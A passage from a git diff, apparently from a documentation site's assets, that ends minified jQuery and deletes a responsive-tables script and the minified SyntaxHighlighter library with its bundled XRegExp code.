g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);
\ No newline at end of file
diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js
deleted file mode 100644
index 8554a1343ba39..0000000000000
--- a/guides/assets/javascripts/responsive-tables.js
+++ /dev/null
@@ -1,43 +0,0 @@
-$(document).ready(function() {
-  var switched = false;
-  $("table").not(".syntaxhighlighter").addClass("responsive");
-  var updateTables = function() {
-    if (($(window).width() < 767) && !switched ){
-      switched = true;
-      $("table.responsive").each(function(i, element) {
-        splitTable($(element));
-      });
-      return true;
-    }
-    else if (switched && ($(window).width() > 767)) {
-      switched = false;
-      $("table.responsive").each(function(i, element) {
-        unsplitTable($(element));
-      });
-    }
-  };
-   
-  $(window).load(updateTables);
-  $(window).bind("resize", updateTables);
-   
-	
-	function splitTable(original)
-	{
-		original.wrap("<div class='table-wrapper' />");
-		
-		var copy = original.clone();
-		copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none");
-		copy.removeClass("responsive");
-		
-		original.closest(".table-wrapper").append(copy);
-		copy.wrap("<div class='pinned' />");
-		original.wrap("<div class='scrollable' />");
-	}
-	
-	function unsplitTable(original) {
-    original.closest(".table-wrapper").find(".pinned").remove();
-    original.unwrap();
-    original.unwrap();
-	}
-
-});
diff --git a/guides/assets/javascripts/syntaxhighlighter.js b/guides/assets/javascripts/syntaxhighlighter.js
deleted file mode 100644
index 584aaed716467..0000000000000
--- a/guides/assets/javascripts/syntaxhighlighter.js
+++ /dev/null
@@ -1,20 +0,0 @@
-/*!
- * SyntaxHighlighter
- * https://github.com/syntaxhighlighter/syntaxhighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 4.0.1 (Sun, 03 Jul 2016 06:45:54 GMT)
- *
- * @copyright
- * Copyright (C) 2004-2016 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-
-
-!function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={exports:{},id:r,loaded:!1};return e[r].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){"use strict";function r(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var a=n(1);Object.keys(a).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return a[e]}})});var s=n(28),o=i(s),l=i(a),u=n(29),c=r(u);n(30),(0,o["default"])(function(){return l["default"].highlight(c.object(window.syntaxhighlighterConfig||{}))})},function(e,t,n){"use strict";function r(e){window.alert("SyntaxHighlighter\n\n"+e)}function i(e,t){var n=h.vars.discoveredBrushes,i=null;if(null==n){n={};for(var a in h.brushes){var s=h.brushes[a],o=s.aliases;if(null!=o){s.className=s.className||s.aliases[0],s.brushName=s.className||a.toLowerCase();for(var l=0,u=o.length;u>l;l++)n[o[l]]=a}}h.vars.discoveredBrushes=n}return i=h.brushes[n[e]],null==i&&t&&r(h.config.strings.noBrush+e),i}function a(e){var t="<![CDATA[",n="]]>",r=u.trim(e),i=!1,a=t.length,s=n.length;0==r.indexOf(t)&&(r=r.substring(a),i=!0);var o=r.length;return r.indexOf(n)==o-s&&(r=r.substring(0,o-s),i=!0),i?r:e}Object.defineProperty(t,"__esModule",{value:!0});var s=n(2),o=n(5),l=n(9)["default"],u=n(10),c=n(11),f=n(17),g=n(18),p=n(19),d=n(20),h={Match:o.Match,Highlighter:n(22),config:n(18),regexLib:n(3).commonRegExp,vars:{discoveredBrushes:null,highlighters:{}},brushes:{},findElements:function(e,t){var n=t?[t]:u.toArray(document.getElementsByTagName(h.config.tagName)),r=(h.config,[]);if(n=n.concat(f.getSyntaxHighlighterScriptTags()),0===n.length)return r;for(var i=0,a=n.length;a>i;i++){var o={target:n[i],params:s.defaults(s.parse(n[i].className),e)};null!=o.params.brush&&r.push(o)}return r},highlight:function(e,t){var n,r=h.findElements(e,t),u="innerHTML",m=null,x=h.config;if(0!==r.length)for(var v=0,y=r.length;y>v;v++){var m,w,b,t=r[v],E=t.target,S=t.params,C=S.brush;null!=C&&(m=i(C),m&&(S=s.defaults(S||{},p),S=s.defaults(S,g),1==S["html-script"]||1==p["html-script"]?(m=new d(i("xml"),m),C="htmlscript"):m=new m,b=E[u],x.useScriptTags&&(b=a(b)),""!=(E.title||"")&&(S.title=E.title),S.brush=C,b=c(b,S),w=o.applyRegexList(b,m.regexList,S),n=new l(b,w,S),t=f.create("div"),t.innerHTML=n.getHtml(),S.quickCode&&f.attachEvent(f.findElement(t,".code"),"dblclick",f.quickCodeHandler),""!=(E.id||"")&&(t.id=E.id),E.parentNode.replaceChild(t,E)))}}},m=0;t["default"]=h;var x=t.registerBrush=function(e){return h.brushes["brush"+m++]=e["default"]||e};t.clearRegisteredBrushes=function(){h.brushes={},m=0};x(n(23)),x(n(24)),x(n(25)),x(n(26)),x(n(27))},function(e,t,n){"use strict";function r(e){return e.replace(/-(\w+)/g,function(e,t){return t.charAt(0).toUpperCase()+t.substr(1)})}function i(e){var t=s[e];return null==t?e:t}var a=n(3).XRegExp,s={"true":!0,"false":!1};e.exports={defaults:function(e,t){for(var n in t||{})e.hasOwnProperty(n)||(e[n]=e[r(n)]=t[n]);return e},parse:function(e){for(var t,n={},s=a("^\\[(?<values>(.*?))\\]$"),o=0,l=a("(?<name>[\\w-]+)\\s*:\\s*(?<value>[\\w%#-]+|\\[.*?\\]|\".*?\"|'.*?')\\s*;?","g");null!=(t=a.exec(e,l,o));){var u=t.value.replace(/^['"]|['"]$/g,"");if(null!=u&&s.test(u)){var c=a.exec(u,s);u=c.values.length>0?c.values.split(/\s*,\s*/):[]}u=i(u),n[t.name]=n[r(t.name)]=u,o=t.index+t[0].length}return n}}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0}),t.commonRegExp=t.XRegExp=void 0;var i=n(4),a=r(i);t.XRegExp=a["default"];t.commonRegExp={multiLineCComments:(0,a["default"])("/\\*.*?\\*/","gs"),singleLineCComments:/\/\/.*$/gm,singleLinePerlComments:/#.*$/gm,doubleQuotedString:/"([^\\"\n]|\\.)*"/g,singleQuotedString:/'([^\\'\n]|\\.)*'/g,multiLineDoubleQuotedString:(0,a["default"])('"([^\\\\"]|\\\\.)*"',"gs"),multiLineSingleQuotedString:(0,a["default"])("'([^\\\\']|\\\\.)*'","gs"),xmlComments:(0,a["default"])("(&lt;|<)!--.*?--(&gt;|>)","gs"),url:/\w+:\/\/[\w-.\/?%&=:@;#]*/g,phpScriptTags:{left:/(&lt;|<)\?(?:=|php)?/g,right:/\?(&gt;|>)/g,eof:!0},aspScriptTags:{left:/(&lt;|<)%=?/g,right:/%(&gt;|>)/g},scriptScriptTags:{left:/(&lt;|<)\s*script.*?(&gt;|>)/gi,right:/(&lt;|<)\/\s*script\s*(&gt;|>)/gi}}},function(e,t){"use strict";function n(e,t,n,r,i){var a;if(e[b]={captureNames:t},i)return e;if(e.__proto__)e.__proto__=w.prototype;else for(a in w.prototype)e[a]=w.prototype[a];return e[b].source=n,e[b].flags=r?r.split("").sort().join(""):r,e}function r(e){return S.replace.call(e,/([\s\S])(?=[\s\S]*\1)/g,"")}function i(e,t){if(!w.isRegExp(e))throw new TypeError("Type RegExp expected");var i=e[b]||{},a=s(e),l="",u="",c=null,f=null;return t=t||{},t.removeG&&(u+="g"),t.removeY&&(u+="y"),u&&(a=S.replace.call(a,new RegExp("["+u+"]+","g"),"")),t.addG&&(l+="g"),t.addY&&(l+="y"),l&&(a=r(a+l)),t.isInternalOnly||(void 0!==i.source&&(c=i.source),null!=i.flags&&(f=l?r(i.flags+l):i.flags)),e=n(new RegExp(e.source,a),o(e)?i.captureNames.slice(0):null,c,f,t.isInternalOnly)}function a(e){return parseInt(e,16)}function s(e){return M?e.flags:S.exec.call(/\/([a-z]*)$/i,RegExp.prototype.toString.call(e))[1]}function o(e){return!(!e[b]||!e[b].captureNames)}function l(e){return parseInt(e,10).toString(16)}function u(e,t){var n,r=e.length;for(n=0;r>n;++n)if(e[n]===t)return n;return-1}function c(e,t){return $.call(e)==="[object "+t+"]"}function f(e,t,n){return S.test.call(n.indexOf("x")>-1?/^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/:/^(?:\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/,e.slice(t))}function g(e){for(;e.length<4;)e="0"+e;return e}function p(e,t){var n;if(r(t)!==t)throw new SyntaxError("Invalid duplicate regex flag "+t);for(e=S.replace.call(e,/^\(\?([\w$]+)\)/,function(e,n){if(S.test.call(/[gy]/,n))throw new SyntaxError("Cannot use flag g or y in mode modifier "+e);return t=r(t+n),""}),n=0;n<t.length;++n)if(!H[t.charAt(n)])throw new SyntaxError("Unknown regex flag "+t.charAt(n));return{pattern:e,flags:t}}function d(e){var t={};return c(e,"String")?(w.forEach(e,/[^\s,]+/,function(e){t[e]=!0}),t):e}function h(e){if(!/^[\w$]$/.test(e))throw new Error("Flag must be a single character A-Za-z0-9_$");H[e]=!0}function m(e,t,n,r,i){for(var a,s,o=L.length,l=e.charAt(n),u=null;o--;)if(s=L[o],!(s.leadChar&&s.leadChar!==l||s.scope!==r&&"all"!==s.scope||s.flag&&-1===t.indexOf(s.flag))&&(a=w.exec(e,s.regex,n,"sticky"))){u={matchLength:a[0].length,output:s.handler.call(i,a,r,t),reparse:s.reparse};break}return u}function x(e){E.astral=e}function v(e){RegExp.prototype.exec=(e?C:S).exec,RegExp.prototype.test=(e?C:S).test,String.prototype.match=(e?C:S).match,String.prototype.replace=(e?C:S).replace,String.prototype.split=(e?C:S).split,E.natives=e}function y(e){if(null==e)throw new TypeError("Cannot convert null or undefined to object");return e}function w(e,t){var r,a,s,o,l,u={hasNamedCapture:!1,captureNames:[]},c=R,f="",g=0;if(w.isRegExp(e)){if(void 0!==t)throw new TypeError("Cannot supply flags when copying a RegExp");return i(e)}if(e=void 0===e?"":String(e),t=void 0===t?"":String(t),w.isInstalled("astral")&&-1===t.indexOf("A")&&(t+="A"),k[e]||(k[e]={}),!k[e][t]){for(r=p(e,t),o=r.pattern,l=r.flags;g<o.length;){do r=m(o,l,g,c,u),r&&r.reparse&&(o=o.slice(0,g)+r.output+o.slice(g+r.matchLength));while(r&&r.reparse);r?(f+=r.output,g+=r.matchLength||1):(a=w.exec(o,_[c],g,"sticky")[0],f+=a,g+=a.length,"["===a&&c===R?c=T:"]"===a&&c===T&&(c=R))}k[e][t]={pattern:S.replace.call(f,/\(\?:\)(?:[*+?]|\{\d+(?:,\d*)?})?\??(?=\(\?:\))|^\(\?:\)(?:[*+?]|\{\d+(?:,\d*)?})?\??|\(\?:\)(?:[*+?]|\{\d+(?:,\d*)?})?\??$/g,""),flags:S.replace.call(l,/[^gimuy]+/g,""),captures:u.hasNamedCapture?u.captureNames:null}}return s=k[e][t],n(new RegExp(s.pattern,s.flags),s.captures,e,t)}var b="xregexp",E={astral:!1,natives:!1},S={exec:RegExp.prototype.exec,test:RegExp.prototype.test,match:String.prototype.match,replace:String.prototype.replace,split:String.prototype.split},C={},N={},k={},L=[],R="default",T="class",_={"default":/\\(?:0(?:[0-3][0-7]{0,2}|[4-7][0-7]?)?|[1-9]\d*|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|\(\?[:=!]|[?*+]\?|{\d+(?:,\d*)?}\??|[\s\S]/,"class":/\\(?:[0-3][0-7]{0,2}|[4-7][0-7]?|x[\dA-Fa-f]{2}|u(?:[\dA-Fa-f]{4}|{[\dA-Fa-f]+})|c[A-Za-z]|[\s\S])|[\s\S]/},O=/\$(?:{([\w$]+)}|(\d\d?|[\s\S]))/g,j=void 0===S.exec.call(/()??/,"")[1],I=function(){var e=!0;try{new RegExp("","u")}catch(t){e=!1}return e}(),A=function(){var e=!0;try{new RegExp("","y")}catch(t){e=!1}return e}(),M=void 0!==/a/.flags,H={g:!0,i:!0,m:!0,u:I,y:A},$={}.toString;w.prototype=new RegExp,w.version="3.1.0-dev",w.addToken=function(e,t,n){n=n||{};var r,a=n.optionalFlags;if(n.flag&&h(n.flag),a)for(a=S.split.call(a,""),r=0;r<a.length;++r)h(a[r]);L.push({regex:i(e,{addG:!0,addY:A,isInternalOnly:!0}),handler:t,scope:n.scope||R,flag:n.flag,reparse:n.reparse,leadChar:n.leadChar}),w.cache.flush("patterns")},w.cache=function(e,t){return N[e]||(N[e]={}),N[e][t]||(N[e][t]=w(e,t))},w.cache.flush=function(e){"patterns"===e?k={}:N={}},w.escape=function(e){return S.replace.call(y(e),/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")},w.exec=function(e,t,n,r){var a,s,o="g",l=!1;return l=A&&!!(r||t.sticky&&r!==!1),l&&(o+="y"),t[b]=t[b]||{},s=t[b][o]||(t[b][o]=i(t,{addG:!0,addY:l,removeY:r===!1,isInternalOnly:!0})),s.lastIndex=n=n||0,a=C.exec.call(s,e),r&&a&&a.index!==n&&(a=null),t.global&&(t.lastIndex=a?s.lastIndex:0),a},w.forEach=function(e,t,n){for(var r,i=0,a=-1;r=w.exec(e,t,i);)n(r,++a,e,t),i=r.index+(r[0].length||1)},w.globalize=function(e){return i(e,{addG:!0})},w.install=function(e){e=d(e),!E.astral&&e.astral&&x(!0),!E.natives&&e.natives&&v(!0)},w.isInstalled=function(e){return!!E[e]},w.isRegExp=function(e){return"[object RegExp]"===$.call(e)},w.match=function(e,t,n){var r,a,s=t.global&&"one"!==n||"all"===n,o=(s?"g":"")+(t.sticky?"y":"")||"noGY";return t[b]=t[b]||{},a=t[b][o]||(t[b][o]=i(t,{addG:!!s,addY:!!t.sticky,removeG:"one"===n,isInternalOnly:!0})),r=S.match.call(y(e),a),t.global&&(t.lastIndex="one"===n&&r?r.index+r[0].length:0),s?r||[]:r&&r[0]},w.matchChain=function(e,t){return function n(e,r){var i,a=t[r].regex?t[r]:{regex:t[r]},s=[],o=function(e){if(a.backref){if(!(e.hasOwnProperty(a.backref)||+a.backref<e.length))throw new ReferenceError("Backreference to undefined group: "+a.backref);s.push(e[a.backref]||"")}else s.push(e[0])};for(i=0;i<e.length;++i)w.forEach(e[i],a.regex,o);return r!==t.length-1&&s.length?n(s,r+1):s}([e],0)},w.replace=function(e,t,n,r){var a,s=w.isRegExp(t),o=t.global&&"one"!==r||"all"===r,l=(o?"g":"")+(t.sticky?"y":"")||"noGY",u=t;return s?(t[b]=t[b]||{},u=t[b][l]||(t[b][l]=i(t,{addG:!!o,addY:!!t.sticky,removeG:"one"===r,isInternalOnly:!0}))):o&&(u=new RegExp(w.escape(String(t)),"g")),a=C.replace.call(y(e),u,n),s&&t.global&&(t.lastIndex=0),a},w.replaceEach=function(e,t){var n,r;for(n=0;n<t.length;++n)r=t[n],e=w.replace(e,r[0],r[1],r[2]);return e},w.split=function(e,t,n){return C.split.call(y(e),t,n)},w.test=function(e,t,n,r){return!!w.exec(e,t,n,r)},w.uninstall=function(e){e=d(e),E.astral&&e.astral&&x(!1),E.natives&&e.natives&&v(!1)},w.union=function(e,t){var n,r,i,a,s=/(\()(?!\?)|\\([1-9]\d*)|\\[\s\S]|\[(?:[^\\\]]|\\[\s\S])*]/g,o=[],l=0,u=function(e,t,i){var a=r[l-n];if(t){if(++l,a)return"(?<"+a+">"}else if(i)return"\\"+(+i+n);return e};if(!c(e,"Array")||!e.length)throw new TypeError("Must provide a nonempty array of patterns to merge");for(a=0;a<e.length;++a)i=e[a],w.isRegExp(i)?(n=l,r=i[b]&&i[b].captureNames||[],o.push(S.replace.call(w(i.source).source,s,u))):o.push(w.escape(i));return w(o.join("|"),t)},C.exec=function(e){var t,n,r,a=this.lastIndex,s=S.exec.apply(this,arguments);if(s){if(!j&&s.length>1&&u(s,"")>-1&&(n=i(this,{removeG:!0,isInternalOnly:!0}),S.replace.call(String(e).slice(s.index),n,function(){var e,t=arguments.length;for(e=1;t-2>e;++e)void 0===arguments[e]&&(s[e]=void 0)})),this[b]&&this[b].captureNames)for(r=1;r<s.length;++r)t=this[b].captureNames[r-1],t&&(s[t]=s[r]);this.global&&!s[0].length&&this.lastIndex>s.index&&(this.lastIndex=s.index)}return this.global||(this.lastIndex=a),s},C.test=function(e){return!!C.exec.call(this,e)},C.match=function(e){var t;if(w.isRegExp(e)){if(e.global)return t=S.match.apply(this,arguments),e.lastIndex=0,t}else e=new RegExp(e);return C.exec.call(e,y(this))},C.replace=function(e,t){var n,r,i,a=w.isRegExp(e);return a?(e[b]&&(r=e[b].captureNames),n=e.lastIndex):e+="",i=c(t,"Function")?S.replace.call(String(this),e,function(){var n,i=arguments;if(r)for(i[0]=new String(i[0]),n=0;n<r.length;++n)r[n]&&(i[0][r[n]]=i[n+1]);return a&&e.global&&(e.lastIndex=i[i.length-2]+i[0].length),t.apply(void 0,i)}):S.replace.call(null==this?this:String(this),e,function(){var e=arguments;return S.replace.call(String(t),O,function(t,n,i){var a;if(n){if(a=+n,a<=e.length-3)return e[a]||"";if(a=r?u(r,n):-1,0>a)throw new SyntaxError("Backreference to undefined group "+t);return e[a+1]||""}if("$"===i)return"$";if("&"===i||0===+i)return e[0];if("`"===i)return e[e.length-1].slice(0,e[e.length-2]);if("'"===i)return e[e.length-1].slice(e[e.length-2]+e[0].length);if(i=+i,!isNaN(i)){if(i>e.length-3)throw new SyntaxError("Backreference to undefined group "+t);return e[i]||""}throw new SyntaxError("Invalid token "+t)})}),a&&(e.global?e.lastIndex=0:e.lastIndex=n),i},C.split=function(e,t){if(!w.isRegExp(e))return S.split.apply(this,arguments);var n,r=String(this),i=[],a=e.lastIndex,s=0;return t=(void 0===t?-1:t)>>>0,w.forEach(r,e,function(e){e.index+e[0].length>s&&(i.push(r.slice(s,e.index)),e.length>1&&e.index<r.length&&Array.prototype.push.apply(i,e.slice(1)),n=e[0].length,s=e.index+n)}),s===r.length?(!S.test.call(e,"")||n)&&i.push(""):i.push(r.slice(s)),e.lastIndex=a,i.length>t?i.slice(0,t):i},w.addToken(/\\([ABCE-RTUVXYZaeg-mopqyz]|c(?![A-Za-z])|u(?![\dA-Fa-f]{4}|{[\dA-Fa-f]+})|x(?![\dA-Fa-f]{2}))/,function(e,t){if("B"===e[1]&&t===R)return e[0];throw new SyntaxError("Invalid escape "+e[0])},{scope:"all",leadChar:"\\"}),w.addToken(/\\u{([\dA-Fa-f]+)}/,function(e,t,n){var r=a(e[1]);if(r>1114111)throw new SyntaxError("Invalid Unicode code point "+e[0]);if(65535>=r)return"\\u"+g(l(r));if(I&&n.indexOf("u")>-1)return e[0];throw new SyntaxError("Cannot use Unicode code point above \\u{FFFF} without flag u")},{scope:"all",leadChar:"\\"}),w.addToken(/\[(\^?)]/,function(e){return e[1]?"[\\s\\S]":"\\b\\B"},{leadChar:"["}),w.addToken(/\(\?#[^)]*\)/,function(e,t,n){return f(e.input,e.index+e[0].length,n)?"":"(?:)"},{leadChar:"("}),w.addToken(/\s+|#.*/,function(e,t,n){return f(e.input,e.index+e[0].length,n)?"":"(?:)"},{flag:"x"}),w.addToken(/\./,function(){return"[\\s\\S]"},{flag:"s",leadChar:"."}),w.addToken(/\\k<([\w$]+)>/,function(e){var t=isNaN(e[1])?u(this.captureNames,e[1])+1:+e[1],n=e.index+e[0].length;if(!t||t>this.captureNames.length)throw new SyntaxError("Backreference to undefined group "+e[0]);return"\\"+t+(n===e.input.length||isNaN(e.input.charAt(n))?"":"(?:)")},{leadChar:"\\"}),w.addToken(/\\(\d+)/,function(e,t){if(!(t===R&&/^[1-9]/.test(e[1])&&+e[1]<=this.captureNames.length)&&"0"!==e[1])throw new SyntaxError("Cannot use octal escape or backreference to undefined group "+e[0]);return e[0]},{scope:"all",leadChar:"\\"}),w.addToken(/\(\?P?<([\w$]+)>/,function(e){if(!isNaN(e[1]))throw new SyntaxError("Cannot use integer as capture name "+e[0]);if("length"===e[1]||"__proto__"===e[1])throw new SyntaxError("Cannot use reserved word as capture name "+e[0]);if(u(this.captureNames,e[1])>-1)throw new SyntaxError("Cannot use same name for multiple groups "+e[0]);return this.captureNames.push(e[1]),this.hasNamedCapture=!0,"("},{leadChar:"("}),w.addToken(/\((?!\?)/,function(e,t,n){return n.indexOf("n")>-1?"(?:":(this.captureNames.push(null),"(")},{optionalFlags:"n",leadChar:"("}),e.exports=w},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(6);Object.keys(r).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return r[e]}})});var i=n(7);Object.keys(i).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return i[e]}})})},function(e,t){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();t.Match=function(){function e(t,r,i){n(this,e),this.value=t,this.index=r,this.length=t.length,this.css=i,this.brushName=null}return r(e,[{key:"toString",value:function(){return this.value}}]),e}()},function(e,t,n){"use strict";function r(e,t){var n=[];t=t||[];for(var r=0,s=t.length;s>r;r++)"object"===i(t[r])&&(n=n.concat((0,a.find)(e,t[r])));return n=(0,a.sort)(n),n=(0,a.removeNested)(n),n=(0,a.compact)(n)}Object.defineProperty(t,"__esModule",{value:!0});var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e};t.applyRegexList=r;var a=n(8)},function(e,t,n){"use strict";function r(e,t){function n(e,t){return e[0]}for(var r=null,i=[],a=t.func?t.func:n,s=0;r=l.XRegExp.exec(e,t.regex,s);){var u=a(r,t);"string"==typeof u&&(u=[new o.Match(u,r.index,t.css)]),i=i.concat(u),s=r.index+r[0].length}return i}function i(e){function t(e,t){return e.index<t.index?-1:e.index>t.index?1:e.length<t.length?-1:e.length>t.length?1:0}return e.sort(t)}function a(e){var t,n,r=[];for(t=0,n=e.length;n>t;t++)e[t]&&r.push(e[t]);return r}function s(e){for(var t=0,n=e.length;n>t;t++)if(null!==e[t])for(var r=e[t],i=r.index+r.length,a=t+1,n=e.length;n>a&&null!==e[t];a++){var s=e[a];if(null!==s){if(s.index>i)break;s.index==r.index&&s.length>r.length?e[t]=null:s.index>=r.index&&s.index<i&&(e[a]=null)}}return e}Object.defineProperty(t,"__esModule",{value:!0}),t.find=r,t.sort=i,t.compact=a,t.removeNested=s;var o=n(6),l=n(3)},function(e,t){"use strict";function n(e,t){for(var n=e.toString();n.length<t;)n="0"+n;return n}function r(e){return e.split(/\r?\n/)}function i(e){var t,n,r,i={};for(t=e.highlight||[],"function"!=typeof t.push&&(t=[t]),r=0,n=t.length;n>r;r++)i[t[r]]=!0;return i}function a(e,t,n){var a=this;a.opts=n,a.code=e,a.matches=t,a.lines=r(e),a.linesToHighlight=i(n)}Object.defineProperty(t,"__esModule",{value:!0}),t["default"]=a,a.prototype={wrapLinesWithCode:function(e,t){if(null==e||0==e.length||"\n"==e||null==t)return e;var n,i,a,s,o,l=this,u=[];for(e=e.replace(/</g,"&lt;"),e=e.replace(/ {2,}/g,function(e){for(a="",s=0,o=e.length;o-1>s;s++)a+=l.opts.space;return a+" "}),n=r(e),s=0,o=n.length;o>s;s++)i=n[s],a="",i.length>0&&(i=i.replace(/^(&nbsp;| )+/,function(e){return a=e,""}),i=0===i.length?a:a+'<code class="'+t+'">'+i+"</code>"),u.push(i);return u.join("\n")},processUrls:function(e){var t=/(.*)((&gt;|&lt;).*)/,n=/\w+:\/\/[\w-.\/?%&=:@;#]*/g;return e.replace(n,function(e){var n="",r=null;return(r=t.exec(e))&&(e=r[1],n=r[2]),'<a href="'+e+'">'+e+"</a>"+n})},figureOutLineNumbers:function(e){var t,n,r=[],i=this.lines,a=parseInt(this.opts.firstLine||1);for(t=0,n=i.length;n>t;t++)r.push(t+a);return r},wrapLine:function(e,t,n){var r=["line","number"+t,"index"+e,"alt"+(t%2==0?1:2).toString()];return this.linesToHighlight[t]&&r.push("highlighted"),0==t&&r.push("break"),'<div class="'+r.join(" ")+'">'+n+"</div>"},renderLineNumbers:function(e,t){var r,i,a=this,s=a.opts,o="",l=a.lines.length,u=parseInt(s.firstLine||1),c=s.padLineNumbers;for(1==c?c=(u+l-1).toString().length:1==isNaN(c)&&(c=0),i=0;l>i;i++)r=t?t[i]:u+i,e=0==r?s.space:n(r,c),o+=a.wrapLine(i,r,e);return o},getCodeLinesHtml:function(e,t){for(var n=this,i=n.opts,a=r(e),s=(i.padLineNumbers,parseInt(i.firstLine||1)),o=i.brush,e="",l=0,u=a.length;u>l;l++){var c=a[l],f=/^(&nbsp;|\s)+/.exec(c),g=null,p=t?t[l]:s+l;null!=f&&(g=f[0].toString(),c=c.substr(g.length),g=g.replace(" ",i.space)),0==c.length&&(c=i.space),e+=n.wrapLine(l,p,(null!=g?'<code 